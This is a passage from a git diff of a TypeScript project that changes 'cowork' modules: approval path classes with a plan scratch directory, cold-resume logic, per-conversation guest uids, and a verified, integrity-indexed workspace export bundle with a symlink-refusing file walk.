messages are delivered by one drain (a runaway guard; the rest stay owed for the next). */ const COWORK_DRAIN_MAX = 1_024; +/** How many typed refusals of one delivered commit end its receipt as lost. */ +const COMMIT_REFUSAL_LIMIT = 3; +const PERMANENT_COMMIT_REFUSALS: readonly string[] = ["superseded", "conflict", "committed", "invalid"]; +/** Consecutive failed drains of one recipient's held-input queue before the user is told. */ +const STALL_LIMIT = 3; /** What the peer inbox stores for one Cowork message: the text AND the fields the model later sees, versioned. The * rendered frame is never stored (it carries timestamps), so a retry digests to the same bytes and a restart loses diff --git a/packages/core/src/cowork/approval-ports.ts b/packages/core/src/cowork/approval-ports.ts index 75cc0869b..f599e4d7f 100644 --- a/packages/core/src/cowork/approval-ports.ts +++ b/packages/core/src/cowork/approval-ports.ts @@ -15,7 +15,7 @@ import { CoworkError, type CapabilityCeiling, type WorkspaceSource } from "./typ */ /** A path's class for the host policy matrix. Plain strings: this module names no matrix symbol. */ -export type CoworkApprovalPathClass = "admitted" | "shared-instructions" | "outputs" | "scratch" | "protected" | "outside"; +export type CoworkApprovalPathClass = "admitted" | "shared-instructions" | "outputs" | "scratch" | "planScratch" | "protected" | "outside"; const under = (path: string, root: string): boolean => path === root || path.startsWith(`${root}/`); @@ -24,6 +24,9 @@ const under = (path: string, root: string): boolean => path === root || path.sta * - `admitted`: its root (the source's guest root plus its relative cwd) and below, and the memory root; * - `shared-instructions`: the workspace guidance file; * - `outputs` / `scratch`: its OWN outputs and scratch directories (O1, owner decision 2026-10-18); + * - `planScratch`: `/workspace/plan//` and below, for any segments (APPROVALS #112). The projection narrows it + * to the conversation's own session id at the CURRENT epoch (`planScratchEpoch`); every other plan path is `outside` + * there. `/workspace/plan` itself and a bare `/workspace/plan/` are `outside`; * - `protected`: everything else under `/workspace/.winter` and `/workspace/outputs` (other conversations' stores, * outputs and scratch, the skeleton), `/run/winter` (run homes, the provider socket) and `/workspace` itself; * - `outside`: anything else, including the rest of the source above the cwd and the workspace's other sources. @@ -38,6 +41,7 @@ export function coworkClassifyGuestPath(path: string, input: { readonly sessionI if (at === "/workspace/.winter/WINTER.md") return "shared-instructions"; if (under(at, `/workspace/outputs/${input.sessionId}`)) return "outputs"; if (under(at, `/workspace/.winter/scratch/${input.sessionId}`)) return "scratch"; + if (at.startsWith("/workspace/plan/") && at.split("/").length >= 5) return "planScratch"; if (at === "/workspace" || under(at, "/workspace/.winter") || under(at, "/workspace/outputs") || under(at, "/run/winter")) return "protected"; return "outside"; } @@ -48,10 +52,12 @@ export function coworkClassifyGuestPath(path: string, input: { readonly sessionI * proves it assignable to theirs at compile time. */ export interface CoworkHostApprovalPorts { - identity(): { readonly workspaceId: string; readonly sourceRevision: number }; + identity(): { readonly workspaceId: string; readonly sourceRevision: number; readonly outputsFolder?: string }; snapshot(): CoworkTransitionSnapshot; classifyPath(absolutePath: string): string; planViewInstalled(): boolean; + /** The policy machine's CURRENT epoch: the plan scratch is `/workspace/plan//`. */ + planScratchEpoch(): number | undefined; } export interface CoworkHostApprovalInput { @@ -77,12 +83,15 @@ export function coworkApprovalPortsFor(input: CoworkHostApprovalInput): CoworkHo const ceiling: CapabilityCeiling = { toolClasses: [...input.ceiling.toolClasses], hostServices: [...input.ceiling.hostServices], connectors: [...input.ceiling.connectors], network: input.ceiling.network }; const machine = new CoworkPolicyTransitionMachine({ policy: binding.policy, ceiling }, { closeAdmission: refused, drain: refused, installView: refused }); const plan = coworkGuestPolicyFor(binding.policy) === "plan" && input.planViewMounted === true; - const identity = Object.freeze({ workspaceId: binding.workspaceId, sourceRevision: source?.revision ?? 0 }); + // An outputs-located conversation's cards name its own outputs folder (APPROVALS #112 wording). + const outputs = coworkOutputsOf(binding); + const identity = Object.freeze({ workspaceId: binding.workspaceId, sourceRevision: source?.revision ?? 0, ...(outputs === undefined ? {} : { outputsFolder: cwd }) }); return Object.freeze({ identity: () => identity, snapshot: () => machine.snapshot(), classifyPath: (absolutePath: string) => coworkClassifyGuestPath(absolutePath, { sessionId: binding.sessionId, root }), // True only under plan AND with the plan view mounted (see `planViewMounted`). planViewInstalled: () => plan, + planScratchEpoch: () => machine.snapshot().epoch, }); } diff --git a/packages/core/src/cowork/cold-resume.ts b/packages/core/src/cowork/cold-resume.ts new file mode 100644 index 000000000..cb6831f06 --- /dev/null +++ b/packages/core/src/cowork/cold-resume.ts @@ -0,0 +1,49 @@ +import type { CoworkRepository } from "./repository"; +import { CoworkError } from "./types"; + +/* + * #92 N3, cold resume (design section 3.2, CR4): the HOST's decision about how a conversation whose guest store may exist + * starts in a new incarnation. Records only decide it; the guest never does. + * + * store_state continuation meaning + * none fresh no guest ever received the set: the store cannot exist + * started either the set was sent (write-ahead) but no turn completed: the store may or may not exist + * created resume a turn completed: the store exists and must be resumed, never replaced + * lost (refused) the store is gone: the conversation never resumes and never starts fresh under its identity + * + * GATED OFF. The driver takes this path only when a host supplies `CoworkSessionDriverDeps.coldResume`, and no production + * composition does (pinned structurally, like the provisioning port). The unmodified native owner refuses a resume record + * (it requires `freshOnly: true`) until the owner applies the cold-resume owner patch; the port may be supplied only after + * that, by the D6 flip. Without the port a conversation with a recorded backend refuses `cold_resume_unavailable`, as before. + */ + +export type CoworkContinuation = "fresh" | "resume" | "either"; + +/** The continuation for a store state; `lost` (or anything unknown) refuses. */ +export function coworkContinuationFor(storeState: string): CoworkContinuation { + switch (storeState) { + case "none": return "fresh"; + case "started": return "either"; + case "created": return "resume"; + default: throw new CoworkError("cold_resume_unavailable"); + } +} + +/** What a resumed start carries to the native host (S7B's contract text version 3 puts it on the conversation's runtime). */ +export interface CoworkResumePlan { + readonly continuation: CoworkContinuation; + /** The previous incarnation's boot ids whose end the host proved (0 to 4); never this boot's. */ + readonly endedGuestBoots: readonly string[]; +} + +/** The host's plan for resuming `sessionId`: its store state's continuation, and the proven-ended boots of its last + * incarnation. Refuses `cold_resume_unavailable` for a lost store, and `recovery_required` for a started or created store + * with no recorded incarnation (the write-ahead record is incomplete). */ +export function coworkResumePlan(records: Pick, sessionId: string): CoworkResumePlan { + const state = records.storeState(sessionId), continuation = coworkContinuationFor(state.storeState); + if (continuation === "fresh") return Object.freeze({ continuation, endedGuestBoots: Object.freeze([]) }); + if (state.lastIncarnationId === null) throw new CoworkError("recovery_required"); + const workspaceId = records.conversationWorkspace(sessionId); + if (workspaceId === undefined) throw new CoworkError("not_found"); + return Object.freeze({ continuation, endedGuestBoots: Object.freeze(records.endedGuestBoots(workspaceId, state.lastIncarnationId)) }); +} diff --git a/packages/core/src/cowork/conversation-set.ts b/packages/core/src/cowork/conversation-set.ts index 19eb05342..073b9c0db 100644 --- a/packages/core/src/cowork/conversation-set.ts +++ b/packages/core/src/cowork/conversation-set.ts @@ -50,10 +50,11 @@ export function coworkGuestPermissionModeFor(policy: ApprovalPolicy): CoworkGues /** Fixed host picks for conversation index 0 (N2 carries one host-query conversation per guest): distinct, inside the * contract's 1000..65533, the group equal to neither user. */ export const COWORK_GUEST_IDENTITIES = Object.freeze({ runtimeUid: 2001, toolUid: 2002, workspaceGid: 2000 }); -/** The guest runtime's per-call timeout, the contract's ceiling (`RUNTIME_SPEC.timeoutMs` allows 1..600000). */ +/** The guest runtime's per-call timeout. Contract revision 3 admits up to 86400000 (the 24 h host-query backstop), but an agent SDK + * supervisor before its CR2 release refuses more than 600000, so the host sends 600000 until the image pins CR2. */ export const COWORK_GUEST_RUNTIME_TIMEOUT_MS = 600_000; -type GuestToolClass = "read" | "write" | "execute"; +type GuestToolClass = "read" | "write" | "execute" | "coordinate"; const CLASS_ORDER: readonly GuestToolClass[] = ["read", "write", "execute"]; /** The guest supervisor's own derivation of tools from classes (`host_query_config`), in its order. */ @@ -150,6 +151,19 @@ export interface CoworkConversationSetInput { readonly offered: readonly string[]; /** The provider route the door was built with. Production has none, and then nothing reaches this builder. */ readonly route: CoworkProviderRoute; + /** The plan execution view's epoch (the policy machine's `epoch`): under plan, the conversation's own writable plan + * scratch `/workspace/plan//` is mounted beside its read-only roots. Nothing passes it yet: the native + * contract (`allowedView`, plan's read-only rule) and the supervisor do not admit that view, so a set carrying it is + * refused on the wire (pinned). Ignored outside plan. Needs `uids`: the epoch directory is the conversation's own tool uid's. */ + readonly planScratchEpoch?: number; + /** #92 N3 (L7): the conversation's stable uids (`CoworkRepository.allocateGuestUids`). Absent: the fixed picks, and then no plan scratch (`planScratchEpoch` is refused without them). */ + readonly uids?: { readonly runtimeUid: number; readonly toolUid: number }; +} + +/** The plan scratch guest path of one conversation at one policy epoch (`/workspace/plan//`, outside `.winter`). */ +export function coworkPlanScratchPath(sessionId: string, epoch: number): string { + if (!Number.isSafeInteger(epoch) || epoch < 0) throw new CoworkError("invalid_request"); + return `/workspace/plan/${sessionId}/${epoch}`; } /** The incarnation's conversation set for ONE source-located conversation (N2: a host-query set carries exactly one). */ @@ -165,6 +179,12 @@ export function coworkConversationFor(input: CoworkConversationSetInput): Cowork const root = source === undefined ? Object.freeze({ id: "outputs", guestPath: cwd, source: cwd, readOnly: policy === "plan" }) : Object.freeze({ id: source.sourceId, guestPath: cwd, source: cwd, readOnly: source.access === "read-only" || policy === "plan" }); + // The plan view belongs to THIS conversation's own tool uid (the guest gives the epoch directory to it, mode 0700), so a set that carries one without the conversation's allocated + // uids would hand the directory to the shared fixed pick: refused, never defaulted. + if (policy === "plan" && input.planScratchEpoch !== undefined && input.uids === undefined) throw new CoworkError("invalid_request"); + const planRoot = policy === "plan" && input.planScratchEpoch !== undefined + ? (() => { const path = coworkPlanScratchPath(binding.sessionId, input.planScratchEpoch); return Object.freeze({ id: "plan-scratch", guestPath: path, source: path, readOnly: false }); })() + : undefined; const toolClasses = coworkGuestToolClassesFor(input.offered); const scope: CoworkProviderRouteScope = Object.freeze({ homeId: input.homeId, workspaceId: context.workspaceId, sessionId: binding.sessionId, backendSessionId: input.backendSessionId, @@ -182,10 +202,15 @@ export function coworkConversationFor(input: CoworkConversationSetInput): Cowork authority: Object.freeze({ workspaceId: context.workspaceId, sessionId: input.backendSessionId, incarnationId: context.incarnationId, leaseEpoch: context.leaseEpoch, configRevision: input.configRevision, grantRevision: input.grantRevision, policyRevision: input.policyRevision }), ...COWORK_GUEST_IDENTITIES, + ...(input.uids === undefined ? {} : { runtimeUid: input.uids.runtimeUid, toolUid: input.uids.toolUid }), policy, - roots: Object.freeze([root]), + roots: Object.freeze(planRoot === undefined ? [root] : [root, planRoot]), runtime: Object.freeze({ model: route.model, timeoutMs: COWORK_GUEST_RUNTIME_TIMEOUT_MS, toolClasses: Object.freeze(toolClasses), - provider: Object.freeze(sorted({ scope, selection }) as Record), guided: null }), + provider: Object.freeze(sorted({ scope, selection }) as Record), guided: null, + // Contract revision 3: a driver sends its set once per incarnation and the conversation never restarts on another (cold + // resume is not wired yet), so the host's store_state is always `none`: `fresh`, with no ended boots. A non-empty store + // then fails the start closed (`fresh_store_not_empty`). + continuation: "fresh", endedGuestBoots: Object.freeze([]) }), }); return Object.freeze({ profile: "host-query-v1", conversations: Object.freeze([conversation]) }); } diff --git a/packages/core/src/cowork/export-binding.ts b/packages/core/src/cowork/export-binding.ts new file mode 100644 index 000000000..371b68793 --- /dev/null +++ b/packages/core/src/cowork/export-binding.ts @@ -0,0 +1,51 @@ +/* + * The database half of a bundle's content binding: what `cowork_exports` holds about a generation's bundle so that a restore + * can refuse one that was rewritten and re-indexed, and can map the bundle's opaque output ids back to session folders. + * + * It needs migration 20 (DOOR's), which adds one nullable column and one table: + * + * ALTER TABLE cowork_exports ADD COLUMN content_digest TEXT CHECK (content_digest IS NULL OR (length(content_digest) = 64 AND content_digest NOT GLOB '*[^0-9a-f]*')); + * CREATE TABLE cowork_export_output_ids ( + * export_id TEXT NOT NULL REFERENCES cowork_exports(export_id), + * opaque_id TEXT NOT NULL CHECK (length(opaque_id) = 17 AND opaque_id GLOB 's*' AND substr(opaque_id, 2) NOT GLOB '*[^0-9a-f]*'), + * session_id TEXT NOT NULL, + * PRIMARY KEY (export_id, opaque_id), UNIQUE (export_id, session_id)); + * + * Nothing constructs this class in production: `createCoworkWorkspaceRestorer(undefined)` is the only production shape and + * refuses every restore, and `test/cowork/content-out-wiring.test.ts` pins that no src file outside this lane names this class. + */ +import type { RuntimeStateDb } from "../runtime-state/db"; +import { durableCoworkTransaction } from "./durable-transaction"; +import { OPAQUE_OUTPUT_ID } from "./export-bundle"; +import type { CoworkExportContentBinding } from "./export-writer"; +import { HEX64, lifecycleFail, lifecycleId } from "./storage-lifecycle"; + +type Row = Record; +export class SqliteExportContentBinding implements CoworkExportContentBinding { + constructor(private readonly rs: RuntimeStateDb) {} + + /** Once per generation, while it is `prepared`: a second record, or a record for a completed or failed row, refuses. */ + record(exportId: string, binding: { readonly contentDigest: string; readonly outputIds: Readonly> }): void { + const id = lifecycleId(exportId); + if (typeof binding?.contentDigest !== "string" || !HEX64.test(binding.contentDigest)) return lifecycleFail("invalid_request"); + const entries = Object.entries(binding.outputIds ?? {}); + for (const [opaque, session] of entries) if (!OPAQUE_OUTPUT_ID.test(opaque) || typeof session !== "string" || session.length === 0 || session.length > 4096) return lifecycleFail("invalid_request"); + if (new Set(entries.map(([, session]) => session)).size !== entries.length) return lifecycleFail("invalid_request"); + durableCoworkTransaction(this.rs, () => { + const changed = this.rs.db.run("UPDATE cowork_exports SET content_digest=? WHERE export_id=? AND state='prepared' AND content_digest IS NULL", [binding.contentDigest, id]).changes; + if (changed !== 1) return lifecycleFail("invalid_request"); + for (const [opaque, session] of entries) this.rs.db.run("INSERT INTO cowork_export_output_ids(export_id,opaque_id,session_id) VALUES(?,?,?)", [id, opaque, session]); + }); + } + + /** The binding of a generation, or null while none was recorded (the column is NULL, or there is no such row). */ + read(exportId: string): { readonly contentDigest: string; readonly outputIds: Readonly> } | null { + const id = lifecycleId(exportId); + const row = this.rs.db.query("SELECT content_digest FROM cowork_exports WHERE export_id=?").get(id); + const digest = row?.content_digest; + if (typeof digest !== "string" || !HEX64.test(digest)) return null; + const outputIds: Record = {}; + for (const entry of this.rs.db.query("SELECT opaque_id,session_id FROM cowork_export_output_ids WHERE export_id=?").all(id)) outputIds[entry.opaque_id!] = entry.session_id!; + return { contentDigest: digest, outputIds }; + } +} diff --git a/packages/core/src/cowork/export-bundle.ts b/packages/core/src/cowork/export-bundle.ts new file mode 100644 index 000000000..5883840ad --- /dev/null +++ b/packages/core/src/cowork/export-bundle.ts @@ -0,0 +1,285 @@ +/* + * The `.winterworkspace` folder bundle: its exact shape, the integrity index, the safe tree walk both the writer and the + * restore flow use, and the full verification of a bundle that is presented for restore. + * + * A bundle is a plain folder (owner decision 2026-10-16; docs/cowork-storage-security.md "Owner decision ... export format"): + * + * .winterworkspace/ + * manifest.json the recorded manifest, byte for byte (`cowork_exports.manifest_json`); its sha256 is the recorded digest + * integrity.json canonical JSON: the export id, the manifest digest, and {path, bytes, sha256} for every other file + * data.ext4 env.ext4 + * shared/{instructions,memory,outputs}/** regular files only + * + * The contents are a WHITELIST. Nothing outside it is ever read into a bundle: no authority database, no bookmark, no + * credential, no Keychain item, nothing from `~/.winter*` beyond the workspace's own two images and three shared roots. + * + * WHAT THE INTEGRITY INDEX IS AND IS NOT. It detects corruption and truncation of any file. It does NOT detect a deliberate + * rewrite of the whole bundle (an attacker can recompute the index), because nothing in the database binds it: the closed v1 + * manifest has no field for it and `cowork_exports` has no column. Restore therefore rests on `validateImport` (the manifest + * must be the recorded, completed generation of a workspace this home owns) for authority, and on this index for integrity. + * Binding the index needs one column (`content_digest`) and a migration; that is listed in the lane report, not done here. + */ +import { createHash, randomBytes } from "node:crypto"; +import { closeSync, constants, fstatSync, fsyncSync, lstatSync, mkdirSync, openSync, readSync, realpathSync, writeSync, type BigIntStats } from "node:fs"; +import { join } from "node:path"; +import { z } from "zod"; +import { ExportIoError, hashDescriptor, listDirectoryAt, openAt, openDirectoryNoFollow, stampDescriptor } from "./export-io"; +import { EXPORT_MANIFEST_MAX_BYTES } from "./exports"; +import { CoworkLifecycleError, canonicalJson, lifecycleFail, sha256Hex } from "./storage-lifecycle"; + +export const BUNDLE_SUFFIX = ".winterworkspace"; +export const BUNDLE_IMAGE_FILES = Object.freeze(["data.ext4", "env.ext4"] as const); +export const BUNDLE_SHARED_ROOTS = Object.freeze(["instructions", "memory", "outputs"] as const); +export interface BundleLimits { readonly files: number; readonly depth: number; readonly sharedBytes: number; readonly integrityBytes: number } +export const DEFAULT_BUNDLE_LIMITS: BundleLimits = Object.freeze({ files: 50_000, depth: 32, sharedBytes: 16 * 1024 ** 3, integrityBytes: 16 * 1024 ** 2 }); + +const Digest = z.string().regex(/^[a-f0-9]{64}$/); +const Id = z.string().regex(/^[A-Za-z0-9][A-Za-z0-9._:-]{0,199}$/); +const Entry = z.object({ path: z.string().min(1).max(4096), bytes: z.number().int().min(0).max(Number.MAX_SAFE_INTEGER), sha256: Digest }).strict(); +export type BundleFileEntry = z.infer; +export const BundleIntegrity = z.object({ formatVersion: z.literal(1), kind: z.literal("cowork-workspace-export-integrity"), exportId: Id, manifestDigest: Digest, + files: z.array(Entry).max(DEFAULT_BUNDLE_LIMITS.files + 3) }).strict(); +export type BundleIntegrity = z.infer; + +const CONTROL = /[\u0000-\u001f\u007f-\u009f]/; +/** One path component of anything that goes into a bundle or comes out of one. */ +export function validBundleComponent(part: string): boolean { + return typeof part === "string" && part.length > 0 && part !== "." && part !== ".." && part.isWellFormed() && !CONTROL.test(part) && !part.includes("/") && Buffer.byteLength(part, "utf8") <= 255; +} +/** The only paths a bundle may name. */ +export function validBundlePath(path: string): boolean { + if (typeof path !== "string" || path.length === 0 || path.length > 4096 || Buffer.byteLength(path, "utf8") > 4096) return false; + if (path === "manifest.json" || (BUNDLE_IMAGE_FILES as readonly string[]).includes(path)) return true; + const parts = path.split("/"); + return parts[0] === "shared" && parts.length >= 3 && (BUNDLE_SHARED_ROOTS as readonly string[]).includes(parts[1]!) && parts.slice(1).every(validBundleComponent); +} +export const comparePaths = (a: string, b: string): number => Buffer.compare(Buffer.from(a), Buffer.from(b)); +export const serializeIntegrity = (integrity: BundleIntegrity): string => canonicalJson(integrity); + +// ---------------------------------------------------------------------------------------------------- opaque output ids + +/** + * `shared/outputs//…` would put session ids into a bundle whose manifest deliberately omits them. The bundle names + * each session folder `s<16 random hex>` (minted per export, never derived from the session id, never reused) and each file + * directly under `outputs/` `f/`; the reverse table is kept in the database next to the content digest, never in the bundle. + */ +export const OPAQUE_OUTPUT_ID = /^s[0-9a-f]{16}$/; +export class OutputIdMapper { + private readonly table = new Map(); + private readonly used = new Set(); + constructor(private readonly mint: () => string = () => `s${randomBytes(8).toString("hex")}`) {} + /** `rest` is the path under `outputs/`. */ + toBundle(rest: string): string { + const parts = rest.split("/"); + if (parts.length === 1) return `f/${parts[0]}`; + let id = this.table.get(parts[0]!); + if (id === undefined) { + do { id = this.mint(); } while (this.used.has(id) || !OPAQUE_OUTPUT_ID.test(id)); + this.used.add(id); this.table.set(parts[0]!, id); + } + return [id, ...parts.slice(1)].join("/"); + } + /** opaque id -> session id. */ + get reverse(): Record { return Object.fromEntries([...this.table].map(([session, id]) => [id, session])); } +} +/** The path under `outputs/` a bundle path stands for, or null when it names an id the table does not hold. */ +export function outputFromBundle(rest: string, reverse: Readonly>): string | null { + const parts = rest.split("/"); + if (parts[0] === "f") return parts.length === 2 ? parts[1]! : null; + const session = OPAQUE_OUTPUT_ID.test(parts[0]!) && Object.hasOwn(reverse, parts[0]!) ? reverse[parts[0]!] : undefined; + return session === undefined || parts.length < 2 ? null : [session, ...parts.slice(1)].join("/"); +} + +// ---------------------------------------------------------------------------------------------------- safe tree walk (descriptor-relative) + +export interface TreeFile { readonly path: string; readonly bytes: number; readonly dev: bigint; readonly ino: bigint } +export interface WalkBudget { files: number; bytes: number } +const unsafe = (): never => lifecycleFail("bundle_unsafe"); +/** Open one child of a held directory without following a link; every refusal is `bundle_unsafe`. */ +function child(directoryFd: number, name: string, flags: number): number { + try { return openAt(directoryFd, name, flags | constants.O_NONBLOCK); } catch { return unsafe(); } +} +/** + * Every regular file beneath a HELD directory, sorted bytewise, as paths relative to it. Each step is `openat` on a held + * descriptor with no-follow, so swapping a path component for a link cannot redirect the walk. Symlinks, hard links (nlink + * above 1), FIFOs, sockets and devices REFUSE the whole walk (`bundle_unsafe`): a guest-authored link in a shared folder is + * never followed and never silently dropped. Empty directories are not recorded. + */ +export function walkRegularFilesAt(rootFd: number, limits: BundleLimits, budget: WalkBudget = { files: 0, bytes: 0 }): TreeFile[] { + const out: TreeFile[] = []; + const visit = (directoryFd: number, relative: string[], depth: number): void => { + if (depth > limits.depth) unsafe(); + let names: string[]; + try { names = listDirectoryAt(directoryFd); } catch { return unsafe(); } + for (const name of names) { + if (!validBundleComponent(name)) unsafe(); + const fd = child(directoryFd, name, constants.O_RDONLY); + try { + const st = fstatSync(fd, { bigint: true }); + if (st.isDirectory()) { visit(fd, [...relative, name], depth + 1); continue; } + if (!st.isFile() || st.nlink !== 1n) unsafe(); + budget.files++; budget.bytes += Number(st.size); + if (budget.files > limits.files || budget.bytes > limits.sharedBytes) unsafe(); + out.push({ path: [...relative, name].join("/"), bytes: Number(st.size), dev: st.dev, ino: st.ino }); + } finally { closeSync(fd); } + } + }; + visit(rootFd, [], 0); + return out.sort((a, b) => comparePaths(a.path, b.path)); +} +/** Open a regular file by a relative path from a held directory, component by component, no-follow; confirm it is the file the walk saw. */ +export function openRegularAt(rootFd: number, relative: string, expected?: { readonly dev: bigint; readonly ino: bigint }): number { + const parts = relative.split("/"); + if (parts.length === 0 || !parts.every(validBundleComponent)) return unsafe(); + let current = rootFd, fd = -1; + try { + for (const part of parts.slice(0, -1)) { const next = child(current, part, constants.O_RDONLY | constants.O_DIRECTORY); if (current !== rootFd) closeSync(current); current = next; } + fd = child(current, parts.at(-1)!, constants.O_RDONLY); + const st = fstatSync(fd, { bigint: true }); + if (!st.isFile() || st.nlink !== 1n || (expected && (st.dev !== expected.dev || st.ino !== expected.ino))) unsafe(); + return fd; + } catch (error) { if (fd >= 0) closeSync(fd); throw error; } + finally { if (current !== rootFd) closeSync(current); } +} +/** A held directory beneath `directoryFd`, no-follow; null when it is absent. A link, a file or anything else refuses. */ +export function openSubdirectoryAt(directoryFd: number, name: string): number | null { + try { return openAt(directoryFd, name, constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NONBLOCK); } + catch (error) { if (error instanceof ExportIoError && error.errno === 2) return null; return unsafe(); } +} + +// ---------------------------------------------------------------------------------------------------- verifying a bundle + +export interface InspectedBundle { + /** The realpath of the bundle folder, and a HELD descriptor of it: every later read is relative to this descriptor. */ + readonly root: string; + readonly rootFd: number; + readonly manifestText: string; + readonly integrity: BundleIntegrity; + /** sha256 of the exact bytes of integrity.json: what the database binds. */ + readonly integrityDigest: string; + readonly files: ReadonlyMap; + close(): void; +} +function readBounded(rootFd: number, relative: string, max: number): Buffer { + const fd = openRegularAt(rootFd, relative); + try { + const size = Number(fstatSync(fd).size); + if (size > max) return lifecycleFail("bundle_invalid"); + const out = Buffer.alloc(size); + for (let at = 0; at < size;) { const got = readSync(fd, out, at, size - at, at); if (got <= 0) return lifecycleFail("bundle_invalid"); at += got; } + return out; + } finally { closeSync(fd); } +} +const statAt = (rootFd: number, name: string): BigIntStats => { const fd = child(rootFd, name, constants.O_RDONLY); try { return fstatSync(fd, { bigint: true }); } finally { closeSync(fd); } }; + +/** + * Structure and index only: NOTHING is hashed here. A closed set of top-level names, only regular files, a canonical sorted + * index of whitelisted paths naming exactly the files present, the manifest's bytes. The caller judges authority, the database + * binding and the manifest's sizes BEFORE `hashBundleFiles` reads a byte of a (possibly multi-GiB) image. + */ +export function inspectBundle(presented: string, limits: BundleLimits = DEFAULT_BUNDLE_LIMITS): InspectedBundle { + if (typeof presented !== "string" || !presented.endsWith(BUNDLE_SUFFIX) || !presented.startsWith("/") || presented.includes("\0")) return lifecycleFail("bundle_invalid"); + let root: string; + try { if (lstatSync(presented).isSymbolicLink()) return lifecycleFail("bundle_unsafe"); root = realpathSync(presented); } + catch (error) { if (error instanceof CoworkLifecycleError) throw error; return lifecycleFail("bundle_invalid"); } + let rootFd: number; + try { rootFd = openDirectoryNoFollow(root); } catch { return lifecycleFail("bundle_invalid"); } + try { + const top = listDirectoryAt(rootFd); + const allowed = new Set(["manifest.json", "integrity.json", ...BUNDLE_IMAGE_FILES, "shared"]); + if (top.some(name => !allowed.has(name)) || !["manifest.json", "integrity.json", ...BUNDLE_IMAGE_FILES].every(name => top.includes(name))) return lifecycleFail("bundle_invalid"); + const actual = new Map(); + for (const name of ["manifest.json", ...BUNDLE_IMAGE_FILES]) { + const st = statAt(rootFd, name); + if (!st.isFile() || st.nlink !== 1n) return unsafe(); + actual.set(name, { path: name, bytes: Number(st.size), dev: st.dev, ino: st.ino }); + } + if (top.includes("shared")) { + const sharedFd = openSubdirectoryAt(rootFd, "shared"); + if (sharedFd === null) return unsafe(); + try { + if (listDirectoryAt(sharedFd).some(name => !(BUNDLE_SHARED_ROOTS as readonly string[]).includes(name))) return lifecycleFail("bundle_invalid"); + const budget: WalkBudget = { files: 0, bytes: 0 }; + for (const name of BUNDLE_SHARED_ROOTS) { + const dirFd = openSubdirectoryAt(sharedFd, name); + if (dirFd === null) continue; + try { for (const file of walkRegularFilesAt(dirFd, limits, budget)) actual.set(`shared/${name}/${file.path}`, { ...file, path: `shared/${name}/${file.path}` }); } finally { closeSync(dirFd); } + } + } finally { closeSync(sharedFd); } + } + const integrityBytes = readBounded(rootFd, "integrity.json", limits.integrityBytes), integrityText = integrityBytes.toString("utf8"); + let integrity: BundleIntegrity; + try { + const parsed = BundleIntegrity.safeParse(JSON.parse(integrityText)); + if (!parsed.success || serializeIntegrity(parsed.data) !== integrityText) return lifecycleFail("bundle_invalid"); + integrity = parsed.data; + } catch (error) { if (error instanceof CoworkLifecycleError) throw error; return lifecycleFail("bundle_invalid"); } + const files = new Map(); + let previous: string | null = null; + for (const entry of integrity.files) { + if (!validBundlePath(entry.path) || files.has(entry.path) || (previous !== null && comparePaths(previous, entry.path) >= 0)) return lifecycleFail("bundle_invalid"); + files.set(entry.path, entry); previous = entry.path; + } + // The index and the folder name exactly the same files, with the same sizes. + if (files.size !== actual.size || [...files.keys()].some(path => !actual.has(path))) return lifecycleFail("bundle_invalid"); + for (const [path, entry] of files) if (actual.get(path)!.bytes !== entry.bytes) return lifecycleFail("bundle_invalid"); + const manifestBytes = readBounded(rootFd, "manifest.json", EXPORT_MANIFEST_MAX_BYTES); + let open = true; + return { root, rootFd, manifestText: manifestBytes.toString("utf8"), integrity, integrityDigest: sha256Hex(integrityText), files, close: () => { if (open) { open = false; closeSync(rootFd); } } }; + } catch (error) { closeSync(rootFd); throw error; } +} +/** Hash every file against the index and the manifest against its digest. Reads relative to the held root descriptor. */ +export async function hashBundleFiles(bundle: InspectedBundle, signal?: AbortSignal): Promise { + if (sha256Hex(bundle.manifestText) !== bundle.integrity.manifestDigest || bundle.files.get("manifest.json")?.sha256 !== bundle.integrity.manifestDigest) return lifecycleFail("bundle_invalid"); + for (const [path, entry] of bundle.files) { + const fd = openRegularAt(bundle.rootFd, path); + try { if (await hashDescriptor(fd, entry.bytes, signal) !== entry.sha256) return lifecycleFail("bundle_invalid"); } finally { closeSync(fd); } + } +} +/** Inspect then hash. The caller closes the result. */ +export async function verifyBundle(presented: string, limits: BundleLimits = DEFAULT_BUNDLE_LIMITS, signal?: AbortSignal): Promise { + const bundle = inspectBundle(presented, limits); + try { await hashBundleFiles(bundle, signal); return bundle; } catch (error) { bundle.close(); throw error; } +} + +// ---------------------------------------------------------------------------------------------------- small file helpers + +export const lstatOrNull = (path: string) => { try { return lstatSync(path); } catch (error) { if ((error as NodeJS.ErrnoException).code === "ENOENT") return null; throw error; } }; +export function syncDirectory(path: string): void { const fd = openSync(path, constants.O_RDONLY | constants.O_DIRECTORY); try { fsyncSync(fd); } finally { closeSync(fd); } } +/** A NEW file (`wx`: create-exclusive, never truncating), mode 0600, fsynced. */ +export function writeNewFile(path: string, bytes: Buffer): void { + const fd = openSync(path, "wx", 0o600); + try { for (let at = 0; at < bytes.length;) at += writeSync(fd, bytes, at, bytes.length - at); fsyncSync(fd); } finally { closeSync(fd); } +} +/** Create each missing directory of `relativeFile`'s parent chain under `root`, mode 0700; `made` remembers what exists. */ +export function ensureDirectories(root: string, relativeFile: string, made: Set): void { + const parts = relativeFile.split("/").slice(0, -1); + for (let i = 1; i <= parts.length; i++) { + const rel = parts.slice(0, i).join("/"); + if (made.has(rel)) continue; + mkdirSync(join(root, rel), { mode: 0o700 }); made.add(rel); + } +} +/** + * Copy an OPEN regular file into a NEW file (`wx`, 0600), hashing as it goes. Refuses (`generation_stale`) when the source + * changed while it was read or does not hold the expected number of bytes. Returns what was actually copied. + */ +export async function copyFdHashed(fd: number, destination: string, expected: { readonly bytes?: number; readonly signal?: AbortSignal } = {}): Promise<{ bytes: number; sha256: string }> { + let out = -1; + try { + out = openSync(destination, "wx", 0o600); + const first = stampDescriptor(fd), hash = createHash("sha256"), buffer = Buffer.alloc(1024 * 1024); + let total = 0; + for (let blocks = 0;; blocks++) { + if (expected.signal?.aborted) throw new ExportIoError("cancelled"); + const got = readSync(fd, buffer, 0, buffer.length, total); + if (got === 0) break; + hash.update(buffer.subarray(0, got)); for (let at = 0; at < got;) at += writeSync(out, buffer, at, got - at); + total += got; + if (blocks % 16 === 15) await new Promise(resolve => setImmediate(resolve)); + } + fsyncSync(out); + if ((expected.bytes !== undefined && total !== expected.bytes) || stampDescriptor(fd) !== first) return lifecycleFail("generation_stale"); + return { bytes: total, sha256: hash.digest("hex") }; + } finally { if (out >= 0) closeSync(out); } +} diff 